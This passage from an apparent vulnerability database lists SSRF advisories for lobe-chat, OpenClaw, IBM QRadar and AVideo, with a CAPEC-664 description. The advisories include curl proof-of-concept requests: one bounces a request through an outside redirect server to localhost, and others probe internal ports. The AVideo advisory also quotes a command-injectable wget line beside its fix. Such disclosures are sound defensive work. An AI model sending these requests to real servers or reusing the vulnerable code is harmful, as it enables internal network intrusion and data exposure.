keep-alive\u0027 -H $\u0027Priority: u=0\u0027 \\\n    -b $\u0027LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined\u0027 \\\n    --data-binary $\u0027http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337\u0027 \\\n    $\u0027http://0.0.0.0:3210/api/proxy\u0027\n```\n\nwhere body contains url of server which redirects to internal network (in my case it redirects according url parameter).\n\n4. Observe in output of [2]\n```\nrunning server\n/iamssrf_1337\n```\n\n5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.\n\n### Fix recommendations:\n1. Disable redirects - lobe-chat should consider explicitly disable redirects. \n2. If redirects support is required, perform check before each http request.\n\n### Impact\nhttps://portswigger.net/web-security/ssrf",
  "id": "GHSA-3fc8-2r3f-8wrg",
  "modified": "2024-09-30T19:57:27Z",
  "published": "2024-09-23T20:30:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47066"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)"
}

GHSA-3FH8-P25M-JH6Q

Vulnerability from github – Published: 2026-07-17 03:31 – Updated: 2026-07-17 03:31
VLAI
Details

OpenClaw versions before 2026.6.6 contain a network policy bypass vulnerability in the sandbox exec-server that allows lower-trust callers to reach internal network destinations blocked by OpenClaw policy. Attackers can send HTTP requests through the exec-server to access network resources that should have been restricted by configured policies.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
4.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-62201"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-17T02:18:06Z",
    "severity": "MODERATE"
  },
  "details": "OpenClaw versions before 2026.6.6 contain a network policy bypass vulnerability in the sandbox exec-server that allows lower-trust callers to reach internal network destinations blocked by OpenClaw policy. Attackers can send HTTP requests through the exec-server to access network resources that should have been restricted by configured policies.",
  "id": "GHSA-3fh8-p25m-jh6q",
  "modified": "2026-07-17T03:31:19Z",
  "published": "2026-07-17T03:31:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-mgvr-6gvw-3rgr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62201"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-network-policy-bypass-via-exec-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-3FH9-V9H9-8R63

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details

IBM QRadar SIEM 7.4.2 GA to 7.4.2 Patch 1, 7.4.0 to 7.4.1 Patch 1, and 7.3.0 to 7.3.3 Patch 5 is vulnerable to server side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 189221.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-4786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-27T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM QRadar SIEM 7.4.2 GA to 7.4.2 Patch 1, 7.4.0 to 7.4.1 Patch 1, and 7.3.0 to 7.3.3 Patch 5 is vulnerable to server side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 189221.",
  "id": "GHSA-3fh9-v9h9-8r63",
  "modified": "2022-05-24T17:40:25Z",
  "published": "2022-05-24T17:40:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4786"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/189221"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6408866"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3FPM-8RJR-V5MC

Vulnerability from github – Published: 2026-03-20 20:57 – Updated: 2026-03-25 20:31
VLAI
Summary
AVideo has Unauthenticated SSRF via plugin/Live/test.php
Details

Summary

An unauthenticated server-side request forgery vulnerability in plugin/Live/test.php allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.

Details

The endpoint accepts $_REQUEST['statsURL'] and only checks that it starts with http:

$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
    exit;
}

It then calls:

$result = url_get_contents($statsURL, 2);

Inside the same file, url_get_contents() performs a real outbound request with file_get_contents() when allow_url_fopen is enabled:

$tmp = file_get_contents($url, false, $context);
_log('file_get_contents:: '.htmlentities($tmp));

There is:

  • no authentication check
  • no allowlist of trusted stats URLs
  • no SSRF-safe URL validation
  • reflected response/error output

Validated on source:

PoC

Target used during validation:

http://127.0.0.1:80
  1. Probe a closed localhost port:
curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/'

Observed response excerpt:

Starting try to get URL http://127.0.0.1:1/
url_get_contents start timeout=2
Warning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused
file_get_contents fail return an empty content
FAIL
  1. Probe the local web service itself:
curl -s \
  'http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/'

This returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.

Impact

This is an unauthenticated SSRF vulnerability affecting any deployment that exposes plugin/Live/test.php.

An attacker can:

  • probe localhost and internal network services
  • distinguish open and closed ports
  • target cloud metadata endpoints if reachable
  • retrieve reflected content from internal HTTP services when the upstream responds with a body

The server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.

remediation

The safest fix is to remove plugin/Live/test.php from production deployments.

If it must remain:

  • require admin authentication
  • only allow requests to explicitly configured Live stats URLs
  • block localhost, RFC1918, link-local, and metadata IP ranges
  • stop reflecting fetched bodies and raw upstream errors to the client

Minimal hardening example:

require_once dirname(__FILE__) . '/../../videos/configuration.php';

if (!User::isAdmin()) {
    http_response_code(403);
    exit('Forbidden');
}

$statsURL = $_REQUEST['statsURL'] ?? '';
if (empty($statsURL) || !isSSRFSafeURL($statsURL)) {
    exit('Unsafe URL');
}

Remove wget Fallback Entirely

The wget fallback provides no unique value over file_get_contents + curl and introduces shell exposure. Remove lines 94–119 of test.php.

If wget must remain, escape the argument:

// BEFORE (vulnerable)
$cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";

// AFTER (safe)
$cmd = "wget --tries=1 " . escapeshellarg($url) . " -O " . escapeshellarg($filename) . " --no-check-certificate";

Defense in Depth

  1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)
  2. Add isSSRFSafeURL() check (already exists in objects/functions.php) before any fetch
  3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level
Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33502"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:57:56Z",
    "nvd_published_at": "2026-03-23T17:16:51Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nAn unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints.\n\n### Details\nThe endpoint accepts `$_REQUEST[\u0027statsURL\u0027]` and only checks that it starts with `http`:\n\n```php\n$statsURL = $_REQUEST[\u0027statsURL\u0027];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n    exit;\n}\n```\n\nIt then calls:\n\n```php\n$result = url_get_contents($statsURL, 2);\n```\n\nInside the same file, `url_get_contents()` performs a real outbound request with `file_get_contents()` when `allow_url_fopen` is enabled:\n\n```php\n$tmp = file_get_contents($url, false, $context);\n_log(\u0027file_get_contents:: \u0027.htmlentities($tmp));\n```\n\nThere is:\n\n- no authentication check\n- no allowlist of trusted stats URLs\n- no SSRF-safe URL validation\n- reflected response/error output\n\nValidated on source:\n\n- [test.php](https://github.com/WWBN/AVideo/blob/781aa070a61a93b1c368fca3db862bc70bad2e04/plugin/Live/test.php)\n\n\n### PoC\nTarget used during validation:\n\n```text\nhttp://127.0.0.1:80\n```\n\n1. Probe a closed localhost port:\n\n```bash\ncurl -s \\\n  \u0027http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:1/\u0027\n```\n\nObserved response excerpt:\n\n```text\nStarting try to get URL http://127.0.0.1:1/\nurl_get_contents start timeout=2\nWarning: file_get_contents(http://127.0.0.1:1/): Failed to open stream: Connection refused\nfile_get_contents fail return an empty content\nFAIL\n```\n\n2. Probe the local web service itself:\n\n```bash\ncurl -s \\\n  \u0027http://127.0.0.1:80/plugin/Live/test.php?statsURL=http://127.0.0.1:80/\u0027\n```\n\nThis returns upstream connection details from the server-side request and confirms the endpoint can target local/internal HTTP services.\n\n### Impact\nThis is an unauthenticated SSRF vulnerability affecting any deployment that exposes `plugin/Live/test.php`.\n\nAn attacker can:\n\n- probe localhost and internal network services\n- distinguish open and closed ports\n- target cloud metadata endpoints if reachable\n- retrieve reflected content from internal HTTP services when the upstream responds with a body\n\nThe server and the internal network reachable from it are impacted. No unauthenticated code execution was validated from this issue on the tested environment.\n\n### remediation\nThe safest fix is to remove `plugin/Live/test.php` from production deployments.\n\nIf it must remain:\n\n- require admin authentication\n- only allow requests to explicitly configured Live stats URLs\n- block localhost, RFC1918, link-local, and metadata IP ranges\n- stop reflecting fetched bodies and raw upstream errors to the client\n\nMinimal hardening example:\n\n```php\nrequire_once dirname(__FILE__) . \u0027/../../videos/configuration.php\u0027;\n\nif (!User::isAdmin()) {\n    http_response_code(403);\n    exit(\u0027Forbidden\u0027);\n}\n\n$statsURL = $_REQUEST[\u0027statsURL\u0027] ?? \u0027\u0027;\nif (empty($statsURL) || !isSSRFSafeURL($statsURL)) {\n    exit(\u0027Unsafe URL\u0027);\n}\n```\n\n### Remove `wget` Fallback Entirely\n\nThe `wget` fallback provides no unique value over `file_get_contents` + `curl` and introduces shell exposure. Remove lines 94\u2013119 of `test.php`.\n\n### If wget must remain, escape the argument:\n\n```php\n// BEFORE (vulnerable)\n$cmd = \"wget --tries=1 {$url} -O {$filename} --no-check-certificate\";\n\n// AFTER (safe)\n$cmd = \"wget --tries=1 \" . escapeshellarg($url) . \" -O \" . escapeshellarg($filename) . \" --no-check-certificate\";\n```\n\n### Defense in Depth\n\n1. Move the file behind the admin panel URL prefix (Apache/Nginx deny rule for public access)\n2. Add `isSSRFSafeURL()` check (already exists in `objects/functions.php`) before any fetch\n3. Block outbound connections from the web process to RFC1918 addresses at the firewall/egress level",
  "id": "GHSA-3fpm-8rjr-v5mc",
  "modified": "2026-03-25T20:31:49Z",
  "published": "2026-03-20T20:57:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-3fpm-8rjr-v5mc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33502"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/1e6cf03e93b5a5318204b010ea28440b0d9a5ab3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has Unauthenticated SSRF via plugin/Live/test.php"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list